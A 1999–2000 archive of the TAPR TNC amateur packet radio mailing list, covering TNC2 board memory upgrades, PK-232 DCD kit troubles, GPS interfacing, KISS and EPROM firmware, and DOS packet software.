To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: TAPR TNC Special Interest Group <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17491-1999.04.23-19.42.36--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain
```

```
On Fri, Apr 23, 1999 at 10:34:46PM +0200, Nicola Savella wrote:
> Can anyone help me to find packet-radio program that runs under 8086
> processor with 640kb RAM and DOS 6 or older?
> Can you give me an internet address where to download it?
> Exist packet-modem for this old processor?
> I want to know if I can use packet with an old PC (Olivetti)!

Try ftp://ftp.tapr.org/software_lib/terminal/paket61.zip (you can also
get there from the tapr web page, www.tapr.org).

Bob

--
Bob Nielsen                Internet: nielsen@primenet.com
Tucson, AZ                 AMPRnet:  w6swe@w6swe.ampr.org
DM42nh                     http://www.primenet.com/~nielsen
```

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

9. [tapr-tnc] Original TAPR TNC2 Version 1 vs Version 2

From: "Quilter's Confectionery" <qltconf@mnsinc.com>
Date: Fri, 23 Apr 1999 22:22:31
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-17502-1999.04.23-22.26.04--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Thanks for the really great help on TAPR questions I had.

Now just a few more.

Will the mods for converting from 16K to 32K memory work for the version on
TAPR TNC2?

My TNC2 is board release(version) one. It does not have a PPT LED for
example but does have the switched capacitor filter. I want to upgrade it
to the latest EPROM but first must get it up to 32K. Will the release 2 and
3 board mods (on jumper 12) work ok? Should I remove the switched capacitor
filter?

I have it working fine now and do not want to damage it but ready to try
recommendation of this group.

Thanks for the help, Larry K4LLQ

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

May 1999

Original source file: tapr-tnc.9905
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9905

1. [tapr-tnc] 2nd Try - Original TAPR TNC2 Ver 1 vs Ver 2

From: "Quilter's Confectionery" <qltconf@mnsinc.com>
Date: Sat, 08 May 1999 09:20:18
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-19739-1999.05.08-09.23.03--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Subject: [tapr-tnc] Original TAPR TNC2 Version 1 vs Version 2

Sorry but need this info and did not get any reply the first time. In
fact I have not gotten anything from the list since 24 April 1999!
---------- Rexmission of 23 April msg

Thanks for the really great help on TAPR questions I had.

Now just a few more.

Will the mods for converting from 16K to 32K memory work for the version on
TAPR TNC2?

My TNC2 is board release(version) one. It does not have a PPT LED for
example but does have the switched capacitor filter. I want to upgrade it
to the latest EPROM but first must get it up to 32K. Will the release 2 and
3 board mods (on jumper 12) work ok? Should I remove the switched capacitor
filter?

I have it working fine now and do not want to damage it but ready to try
recommendation of this group.

Thanks for the help, Larry K4LLQ

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: 2nd Try - Original TAPR TNC2 Ver 1 vs Ver 2]]

From: Bob Nielsen <nielsen@primenet.com>
Date: Sun, 9 May 1999 16:22:38 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: tapr-tnc@lists.tapr.org
Message-ID: <LYR6755-19988-1999.05.09-18.27.28--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The Rev 1 board predates my experience, so I forwarded your question to
Lyle Johnson. Here's his reply. You can find the scematics as well as
documentation for Rev 2 boards (updated to include removing the MF10
filter and installing 32K of SRAM) at ftp.tapr.org in software_lib/tnc/.

Bob

----- Forwarded message from Lyle Johnson <lylej@azstarnet.com> -----
X-Sent-via: StarNet http://www.azstarnet.com/
X-Sender: lylej@pop.azstarnet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Sun, 09 May 1999 20:26:04 +0100
To: Bob Nielsen <nielsen@primenet.com>, lylej@azstarnet.com
From: Lyle Johnson <lylej@azstarnet.com>
Subject: Re: [kf7tp@cybertrails.com: Fwd: [tapr-tnc] 2nd Try - Original
  TAPR TNC2 Ver 1 vs Ver 2]
Cc: kf7tp@cybertrails.com
In-Reply-To: <19990509131304.A16752@bob>
X-UIDL: 63987d75a5b2b1ad1151b6da856c5a86

Hello!
Hello!

>>Will the mods for converting from 16K to 32K memory work for the version on
>>TAPR TNC2?

You're going back 14 years here. The Rev 1 board is capable of using the
larger memoryies. I don't know if adidtional jumpers are required, nor if
the directions in the uupgrade cover Rev 1 units. If you are able to read
shcematics and understand alittle about Z80s and the like, it will be no
problem. I fyou are the type person who needs to follow step-by-step and
this is an area that confuses you, you may be in for trouble and should get
someone to help you who has some digital experience but not required to
know anything about radio or packet.

>>My TNC2 is board release(version) one. It does not have a PPT LED for
>>example but does have the switched capacitor filter. I want to upgrade it
>>to the latest EPROM but first must get it up to 32K. Will the release 2 and
>>3 board mods (on jumper 12) work ok? Should I remove the switched capacitor
>>filter?

The jumpers may be labeled differently. I can't locate my Rev 1 schematics
(again, 14 years is a LONG time). DOwnload the Rev 2 schematics and
compare them. The answer should pop out.

The filter is the same, design-weise and functionally. Thge parts may be
numbered differently, though.

Enjoy!

Lyle

----- End forwarded message -----

--
Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
DM42nh   http://www.primenet.com/~nielsen

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: 2nd Try - Original TAPR TNC2 Ver 1 vs Ver 2

From: Byron Smith <wa6ylb@theworks.com>
Date: Sun, 09 May 1999 20:00:07 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-20031-1999.05.09-22.11.22--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Ah another Rev 1 board surfaces. I too have one of these TNC here. I was
glad to get it. There were "updates" to do this conversion sent out to all
the orginal owners who purchased this tnc. It came with the 1.1.2 firmware,
or perhaps, what followed 1.1.2. I do have the update pages in my tnc
folder here. There were a number of things to do, including adding some
chokes, cutting traces to help RFI issues, and of course, the elimiation of
the dual 8K static rams for a single 32K ram chip. If you like I think I
can "find" my folder and look up this conversion.
This was for the TNC2 REV board with FOUR leds.. Rev 2 boards (ala PK80
too) had the FIVE LED's as you mentioned.

ALso once you get this board upgraded for 32K ram, you can use the TNC200
firmware from
Paccomm, if you want the APRS features.

Please let me know by private email if you want some of these "upgrade"
pages. I suppose I should retype them into notepad, and get them "stored"
on tapr site for these kinds of questions.

At 09:20 AM 5/8/99 +0000, you wrote:
>Subject: [tapr-tnc] Original TAPR TNC2 Version 1 vs Version 2
>
>#### Sorry but need this info and did not get any reply the first time. In
>fact I have not gotten anything from the list since 24 April 1999!
>---------------------- Rexmission of 23 April msg
>------------------------------
>
>Thanks for the really great help on TAPR questions I had.
>
>Now just a few more.

>
>Will the mods for converting from 16K to 32K memory work for the version on
>TAPR TNC2?
>
>My TNC2 is board release(version) one. It does not have a PPT LED for
>example but does have the switched capacitor filter. I want to upgrade it
>to the latest EPROM but first must get it up to 32K. Will the release 2 and
>3 board mods (on jumper 12) work ok? Should I remove the switched capacitor
>filter?
>
>I have it working fine now and do not want to damage it but ready to try
>recommendation of this group.
>
>Thanks for the help, Larry K4LLQ
>
>
>
>
>
>---
>You are currently subscribed to tapr-tnc as: WA6YLB@THEWORKS.COM
>To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam
ICQ 26114994

If a man makes a statement, deep in the forest, and there isn't a woman
around to hear him, is he still wrong?

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4. [tapr-tnc] Re: 2nd Try - Original TAPR TNC2 Ver 1 vs Ver 2

From: "Bob Hansen" <bhansen@stny.lrun.com>
Date: Mon, 10 May 1999 23:14:24 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-20220-1999.05.10-22.17.56--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The October 1985 issue of the Packet Status Register has the instructions
for upgrading a TNC-2 from revision 1 to revision 2.

The modifications address the following areas:
a. on-board modem receive dynamic range
b. susceptibility of TNC to RF fields
c. radiated emissions from TNC
d. revised memory mapping for 32k EPROM and 16k RAM

You don't need to remove the MF-10 to perform the memory upgrade.

If this sounds like what you are looking for, send me your address and I
can mail you a photocopy of those 3 pages.
-Bob H.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] Re: 2nd Try - Original TAPR TNC2 Ver 1 vs Ver 2

From: "Quilter's Confectionery" <qltconf@mnsinc.com>
Date: Wed, 26 May 1999 16:33:52
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-22796-1999.05.26-16.40.29--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

The message below was sent to me by Bob in reply to my request to the list
for help.

Today I received in the mail, the copy of the data from Bob that I needed.
Many Thanks Bob! Like I said before, this is a great list.

73 All, Larry K4LLQ :-)
>
>The October 1985 issue of the Packet Status Register has the instructions

>for upgrading a TNC-2 from revision 1 to revision 2.
>
>The modifications address the following areas:
>a. on-board modem receive dynamic range
>b. susceptibility of TNC to RF fields
>c. radiated emissions from TNC
>d. revised memory mapping for 32k EPROM and 16k RAM
>
>You don't need to remove the MF-10 to perform the memory upgrade.
>
>If this sounds like what you are looking for, send me your address and I
>can mail you a photocopy of those 3 pages.
>-Bob H.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
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July 1999

Original source file: tapr-tnc.9907
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9907

1. [tapr-tnc] Re: duel tncs on one comptur

From: Roy Wilmer <rwilmer@intermind.net>
Date: Mon, 19 Jul 1999 16:21:26 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-30726-1999.07.19-18.40.09--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

If you are running windows 95 or 98 try looking at georges software
http://www.forthnet.gr/sv2agw. I have been using it off and on.
The setup is very straight forward no problems. It even has a tcp
internet link. Let me know if I can help.
Roy Wilmer K7YWF

At 10:26 AM 2/1/99 -0500, you wrote:
>I am looking for a program for the comptur to run two tncs athe same time
with a split screen so I can see both tncs at work at the same time Iwas
told you could help me out
>Iwant to run hf and packet at the same time on one screen
>thank you
>WOALF/AAR4RR
>james o. andereson jr.
>
>

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: duel tncs on one comptur

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Tue, 20 Jul 1999 08:04:13 +0200
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-30784-1999.07.20-01.14.16--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

-----Ursprüngliche Nachricht-----
Von: Roy Wilmer <rwilmer@intermind.net>
An: TAPR TNC Special Interest Group <tapr-tnc@lists.tapr.org>
Datum: Dienstag, 20. Juli 1999 01:32
Betreff: [tapr-tnc] Re: duel tncs on one comptur

>At 10:26 AM 2/1/99 -0500, you wrote:
>>I am looking for a program for the comptur to run two tncs athe same time
>with a split screen so I can see both tncs at work at the same time

Consider to use a dual port TNC, e.g. the TNC3S.

With this TNC, you can establish up to 100 connects.
For every connect, you may select port 1 or port 2 as modem.
The modems work really simultaneous, but the information
of both is receives with a single standard-program (WA8DED-hostmode type).
With every received or monitored packet, a 1: or 2: before the callsign
shows,
from which modem the packet was received. See more at http://symek.com.

73! Ulf, DK9SJ

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: duel tncs on one comptur

From: William J Peet II <peetbros@peetbros.com>
Date: Tue, 20 Jul 1999 10:03:32 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-30822-1999.07.20-09.12.01--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

At 04:21 PM 7/19/99 -0700, you wrote:
>   If you are running windows 95 or 98 try looking at georges software
>   http://www.forthnet.gr/sv2agw. I have been using it off and on.
>   The setup is very straight forward no problems. It even has a tcp
>   internet link. Let me know if I can help.
>   Roy Wilmer K7YWF
>
>
>At 10:26 AM 2/1/99 -0500, you wrote:
>>I am looking for a program for the comptur to run two tncs athe same time
>with a split screen so I can see both tncs at work at the same time Iwas
>told you could help me out
>>Iwant to run hf and packet at the same time on one screen
>>thank you
>>WOALF/AAR4RR
>>james o. andereson jr.
>>
>>
>
>
>---
>You are currently subscribed to tapr-tnc as: PEETBROS@PEETBROS.COM
>To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>
>
I though early Kamtronics tnc and there software would do both HF and
Packet and display on a pc split screen.
James Stewart

                                    Mailing Address
Tech Support   Peet Bros Co
                                    1308 Doris Ave
                                    Ocean,NJ 07712

Tel-800-872-7338
Fax-732-517-0669
E-mail   peetbros@peetbros.com

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4. [tapr-tnc] Fwd: Wrong TNC type

From: Greg Jones <wd5ivd@tapr.org>
Date: Fri, 23 Jul 1999 11:03:42 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-31216-1999.07.23-11.30.32--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Can someone help Mr. Bixby here ?

I don't think I have heard of this problem before.

Cheers - Greg

>X-Sender: ka5dwr@tapr.org
>Date: Thu, 22 Jul 1999 23:38:47 -0500
>To: greg@tapr.org
>From: "E. G. Bixby" <egbixby@earthlink.net> (by way of "Dorothy Jones,
>KA5DWR" <ka5dwr@tapr.org>)
>Subject: Wrong TNC type
>Mime-Version: 1.0
>Status:
>
>REF: TAPR order # 25722, PK-232 modem disconnect header and DCD
>upgrade
>   PkGOLD ID:27229671 ver. 9.07
>
>I recently upgraded my PK-232 with the TAPR PK-232 disconnect header and
>DCD upgrade.   The 232 seems to be operating correctly, both the DCD LED
>and Tune indicator light normally, but during PkGold's start-up
>"autobaud" routine I get a "WRONG TNC TYPE" error. I have checked and
>rechecked the wiring and jumpers and have assured myself they are
>correct.
>
>Questions:
>   1. Do these modifications change the TNC type?
>   2. Will PkGold handle a different TNC type?
>   3. Is there anything I can do to test or check correct hardware
>operation?
>   4. Do you have any suggestions for a fix?

>
>Thank You. WB7SBD de ed.
>

Greg Jones, WD5IVD   Austin, Texas
wd5ivd@tapr.org   http://www.tapr.org/~wd5ivd

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5. [tapr-tnc] PK252/TAPR DCD State /PkGold incompatability

From: "E. G. Bixby" <egbixby@earthlink.net>
Date: Fri, 23 Jul 1999 13:03:21 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-31234-1999.07.23-15.15.13--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I recently upgraded my PK232 with TAPR's Disconnect header and DCD State
kits. Everything worked fine when I installed the kits (which were
checked and rechecked for correctness). During the PkGold start-up it
kept running the "autobaud" routine. When initialization failed I got
the message 1. WRONG TNC TYPE, or 2. NO POWER TO TNC (the lights are all
lit) or 3. WRONG SERIAL PORT or 4. CABLES CONNECTED INCORRECTLY (both 3
& 4 are unlikely because I had an operating system before I started.

I removed the TAPR accessories brought the PK-232 back to original
configuration but still get the same error message. Does anyone have
any idea how to fix this problem?

Thanks in advance. WB7SBD de ed.

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

6. [tapr-tnc] PK232/DCD upgrade problem

From: "E. G. Bixby" <egbixby@earthlink.net>
Date: Fri, 23 Jul 1999 23:42:22 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-31277-1999.07.24-01.53.28--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I recently upgraded my PK232 with the DCD upgrade. With the DCD upgrade
by-passed (closed jumper on the Disconnect Header) everything works
fine. When the jumper is open activating the DCD upgrade I can neither
send or recieve. Does anyone have any ideas for the fix? Thanks in
advance. WB7SBD de ed.

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September 1999

Original source file: tapr-tnc.9909
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9909

1. [tapr-tnc] UI

From: John Hathaway <kg4duc@tampabay.rr.com>
Date: Thu, 02 Sep 1999 06:57:49 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-37699-1999.09.02-06.10.58--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Yesterday I noticed my wx station icon had moved positions on aprs.net.
After checking, found the coordinates in the station info was correct
but was transmitting a different set of coordinates. After restarting
WinAPRS, I noticed the coordinates in station setup wasn't what was
there originally so I changed it only to have it changed again by the
program...after restarting the second time the coordinates are now
correct but i have a UI or <UI> or <<UI>> in my data. I am now getting
two of everything and apparently sending two of everything. I have
asked several different people but no one has been able to tell me how
to get rid of it. HELP!

Jack Hathaway
kg4duc@arrl.net

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November 1999

Original source file: tapr-tnc.9911
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9911

1. [tapr-tnc] MFJ-1278B Interface Question

From: "Edward P. Taylor" <eptaylor@cfw.com>
Date: Thu, 18 Nov 1999 3:30:51
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-50603-1999.11.18-03.44.34--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have the MFJ-1278B Multimode TNC and have been trying to interface a
Garmin GPS 45XL to the RS-232 serial port for APRS use. I am using the
"data out" from the GPS-45XL to the "Data in" to the TNC and the "Ground"
from the GPS to the "Ground" on the RS-232 port. After I configure the TNC
with the NMEA beacon ON to transmit the NMEA 0183 sentence ($GPRMC) every
30 seconds and connect the GPS to the TNC with the interface mode NMEA/NMEA
 0183 version 2.00 @4800 baud set, nothing happens until I disconnect the
interface between the TNC and GPS. Then the TNC starts transmitting the
data that was sent to it.
The MFJ-1278B has a TTL serial port also, should I use this port instead? I
know that NMEA is also known as RS-422. Should I be using an NMEA/RS-232
interface cable?

I have been able to download waypoints, track logs to my PC without any
problems and I can see the NMEA sentences on the PC using a terminal
program. I do have to use a null modem cable between the GPS and the TNC
so I know the data is going to the right pin.

If anyone has had this problem with the MFJ TNC's I could use some help. I
posted a similar message in the APRS SIG last week.

Thanks,

Edward P. Taylor, KA4VMP
Rt 1 Box 312B
Fishersville, Virginia 22939

Email: eptaylor@cfw.com

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
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March 2000

Original source file: tapr-tnc.0003
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0003

1. [tapr-tnc] Re: A Faster Response

From: Bob Nielsen <nielsen@primenet.com>
Date: Mon, 13 Mar 2000 01:02:32 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: nos-bbs@hydra.carleton.ca, tapr-tnc@lists.tapr.org
Message-ID: <LYR6755-70751-2000.03.13-02.02.13--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

On Mon, Mar 13, 2000 at 12:19:21AM -0500, Marco Calistri wrote:
> At 10/03/00 18.38.00, you wrote:
> >
> >I've used both G8BPQ's JKISS and the original K3MC KISS with good
> >results. I am not familiar with 6PACK but my understanding is that it
> >has similar functionality to KISS but is not software-compatible. I've
> >seen some other variations of KISS but am not familiar with the
> >differences.
> >
> >I find that very strange. I've used KISS in a DRSI DPK-2 (both with the
> >original firmware and with JKISS), but not the DPK-96. Perhaps there
> >are some firmware differences between the two. The default KISS
> >parameters are more suited to 1200 baud than 9600, but I don't
> >understand how changing non-KISS firmware values (TXD, DWAIT, etc.)
> >would impact the KISS parameters. The param statements in autoexec.nos
> >should be sufficient.
> >
> >I did think of one possibility which might explain what you are seeing.
> >A few versions (1.1.7 and 1.1.8) of TAPR firmware have a condition
> >where the KISS parameters will be reset to the defaults in cases where
> >no signals are heard for a period of time. This was added by Howie to
> >work around a reported problem with KISS hanging, but was felt by some
> >to create an even bigger problem. Lyle patched the old KISS code into
> >these to create 1.1.7b and 1.1.8a.
> >
> >This may be giving you the symptoms you see (but still should be
> >independent of what the TXD, etc. settings are.) If this is the case,
> >I'd recommend upgrading to 1.1.8a or 1.1.9 (or if you will be using
> >KISS full-time, getting a dedicated KISS EPROM). The 1.1.8a and KISS
> >images are downloadable from the TAPR site
> >(ftp://tapr.org/software_lib/tnc/eproms.exe). JKISS is in the G8BPQ
> >package (ftp://tapr.org/software_lib/switch/bpq409b.zip
> >
> >73, Bob
> >
> >--
> >Bob Nielsen, N7XY (RN2)   nielsen@primenet.com
> >Tucson, AZ DM42nh QRP-L #1985 SOC #77   http://www.primenet.com/~nielsen
> >
> Hello Bob,you put me on a real firmware-upgrading excitement !!
> But I have several problems:
>
> 1) I have not an EPROM programmer
> 2) I never used it
> 3) I've seen that the commercial units are very expensive
>
> Looking to the current DPK-9600 tnc firmware I saw:
>
> AX25L2
> Rel. 1.1.8a 10/29/92 +BLP 1.0
> checksum $DA
> (the eprom is a 27c256b)
> ------------
> I don't know what the "BLP 1.0" stays for.
>
> About the fact you find strange the behaviour of tnc with jnos settings,
> I confirm you that by using a shorter tx-delay on autoexec.nos,it does not
> causes any change on tnc;to insert a new "txdelay" time I must use the
> terminal program (in this case:TELIX)
>
> P.S.:Apologies to the mailing list if I used to reply Bob's comments,but doing so,
> may be some others could say their word.
>

Marco,

I am copying this to the TAPR-TNC mailing list as well. Possibly
someone there will have an insight. My understanding has always been
that when in KISS mode the normal firmware parameters would not have
any effect on operation and the KISS default values would be used, but
could be modified by the param <iface> [<param> [<value>]] command in
autoexec.nos. Your experience indicates this is not the case, however.

I only have done limited testing of 1.1.8a firmware in a 9600 bps TNC
and didn't evaluate the effect of changing KISS parameters. I have not
tried a dedicated KISS eprom in a 9600 bps TNC, but have not heard of
any problems using them. If you want to try a KISS eprom and can't
find someone who can burn one for you, they are available for purchase
from TAPR for $12.00 (US) plus shipping. See
http://www.tapr.org/html/firmware.html for details.

BLP is the name of a host mode which is contained in the TAPR (and MFJ)
firmware. It should have no effect on KISS operation.

73, Bob

--
Bob Nielsen, N7XY (RN2)   nielsen@primenet.com
Tucson, AZ DM42nh QRP-L #1985 SOC #77   http://www.primenet.com/~nielsen

---
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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] TNC u21 V1.1.9 OR NOT

From: "Wesley Green" <w-green@cwcom.net>
Date: Mon, 20 Mar 2000 14:7:50
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-72422-2000.03.20-14.07.17--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have a TNC u21 made by TASCO which the book says is TNC2 upgradable.
I want to use it as a standalone GPS tracker but it does not support the
GPS command set.
It is at present running firmware version 1.1.5TE I'm not sure if this is a
custom eprom for TASCO units or not.
Can anyone tell me if I can upgrade to v1.1.9.
If it is compatible can you tell me if the eprom image file is available as
a free download or if not where I can obtain it and how much to get it to
the UK.
Hope someone can help.

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: TNC u21 V1.1.9 OR NOT

From: Bob Nielsen <nielsen@primenet.com>
Date: Mon, 20 Mar 2000 13:47:47 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: Wesley Green <w-green@cwcom.net>
Message-ID: <LYR6755-72431-2000.03.20-14.47.40--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

As I recall, the u21 firmware (which was also used in the Heath Pocket
Packet) is based on, but not interchangeable with TAPR 1.1.5 firmware.
Thus it (or any TASCO TNC AFAIK) will work with 1.1.9. I believe the
primary difference is that the serial port baud rate is set in software
rather than by dip switches. There is also a primative mailbox. The
only other firmware image I have seen for the u21 added KISS
(ftp://ftp.ucsd.edu/hamradio/packet/misc/u21_kiss.rom).

Bob, n7xy

On Mon, Mar 20, 2000 at 02:07:50PM +0000, Wesley Green wrote:
> I have a TNC u21 made by TASCO which the book says is TNC2 upgradable.
> I want to use it as a standalone GPS tracker but it does not support the
> GPS command set.
> It is at present running firmware version 1.1.5TE I'm not sure if this is a
> custom eprom for TASCO units or not.
> Can anyone tell me if I can upgrade to v1.1.9.
> If it is compatible can you tell me if the eprom image file is available as

> a free download or if not where I can obtain it and how much to get it to
> the UK.
> Hope someone can help.

--
Bob Nielsen, N7XY (RN2)   nielsen@primenet.com
Tucson, AZ DM42nh QRP-L #1985 SOC #77   http://www.primenet.com/~nielsen

---
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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] Re: TNC u21 V1.1.9 OR NOT

From: John Koster <w9ddd@tapr.org>
Date: Mon, 20 Mar 2000 14:53:38 -0600 (CST)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-72432-2000.03.20-14.53.00--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

It's available from TAPR. Look under Kits & Projects. Scroll down to
EPROM and click on it. There are the details and a place to click to
order. You can click on the order thing to get down to pricing and
hopefully shipping information without actually completing an order. I
don't see that the image is available for downloading, but I didn't scan
the ftp site closely. YMMV.

As for the issue of whether the TASCO is 100% compatible, I suspect so,
but I am not sure. I see that Bob has posted a response too, while I am
typing this. I'll bet he has the answer.

John Koster, W9DDD
<w9ddd@tapr.org>

  ==

                  Don't take it personal, but......

           Plain text works for me. Nix on HTML for email.

On Mon, 20 Mar 2000, Wesley Green wrote:

> I have a TNC u21 made by TASCO which the book says is TNC2 upgradable.
> I want to use it as a standalone GPS tracker but it does not support the
> GPS command set.
> It is at present running firmware version 1.1.5TE I'm not sure if this is a
> custom eprom for TASCO units or not.
> Can anyone tell me if I can upgrade to v1.1.9.
> If it is compatible can you tell me if the eprom image file is available as
> a free download or if not where I can obtain it and how much to get it to
> the UK.
> Hope someone can help.
>
> ---
> You are currently subscribed to tapr-tnc as: W9DDD@TAPR.ORG
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>
>

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

5. [tapr-tnc] Re: TNC u21 V1.1.9 OR NOT

From: Bill Vodall <Vodall@bigsky.com>
Date: Mon, 20 Mar 2000 14:17:07 -0800
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-72452-2000.03.20-16.16.45--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

>On Mon, Mar 20, 2000 at 02:07:50PM +0000, Wesley Green wrote:
>> I have a TNC u21 made by TASCO which the book says is TNC2 upgradable.
>> I want to use it as a standalone GPS tracker but it does not support the
>> GPS command set.
>> It is at present running firmware version 1.1.5TE I'm not sure if this
is a
>> custom eprom for TASCO units or not.
>> Can anyone tell me if I can upgrade to v1.1.9.

>> If it is compatible can you tell me if the eprom image file is available
as
>> a free download or if not where I can obtain it and how much to get it to
>> the UK.
>> Hope someone can help.

Paccomm has a GPS enabled rom...   I don't know how their sales
channel works in the UK... http://www.paccomm.com/main.html#Amateur

"Heath Pocket Packet (HK-21) EPROM
Latest PacComm firmware, installation instructions,EPROM, Operating Manual,
and Command Reference Card. $ 49.00 "

HTH - Bill, WA7NWP

Bill Vodall   425-869-2320 Fax: 425-881-1008
mailto:bvodall@hyperlynx.com   http://www.hyperlynx.com
Signal Integrity and EMC Analysis Software for High-Speed PCB Design
----

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

6. [tapr-tnc] Re: TNC u21 V1.1.9 OR NOT

From: "Wesley Green" <w-green@cwcom.net>
Date: Tue, 21 Mar 2000 16:42:47
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-72678-2000.03.21-16.42.10--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hi Bob Thanks for your reply.
Only problem is I'm not 100% sure on your answer, you said 1.1.5 was not
compatible but 1.1.9 is. Am I correct ? I so I'll get my order as soon as
possible.
On 03/20/00, "Bob Nielsen <nielsen@primenet.com>" wrote:
> As I recall, the u21 firmware (which was also used in the Heath Pocket
> Packet) is based on, but not interchangeable with TAPR 1.1.5 firmware.
> Thus it (or any TASCO TNC AFAIK) will work with 1.1.9. I believe the
> primary difference is that the serial port baud rate is set in software
> rather than by dip switches. There is also a primative mailbox. The
> only other firmware image I have seen for the u21 added KISS
> (ftp://ftp.ucsd.edu/hamradio/packet/misc/u21_kiss.rom).
>
>
> Bob, n7xy
>
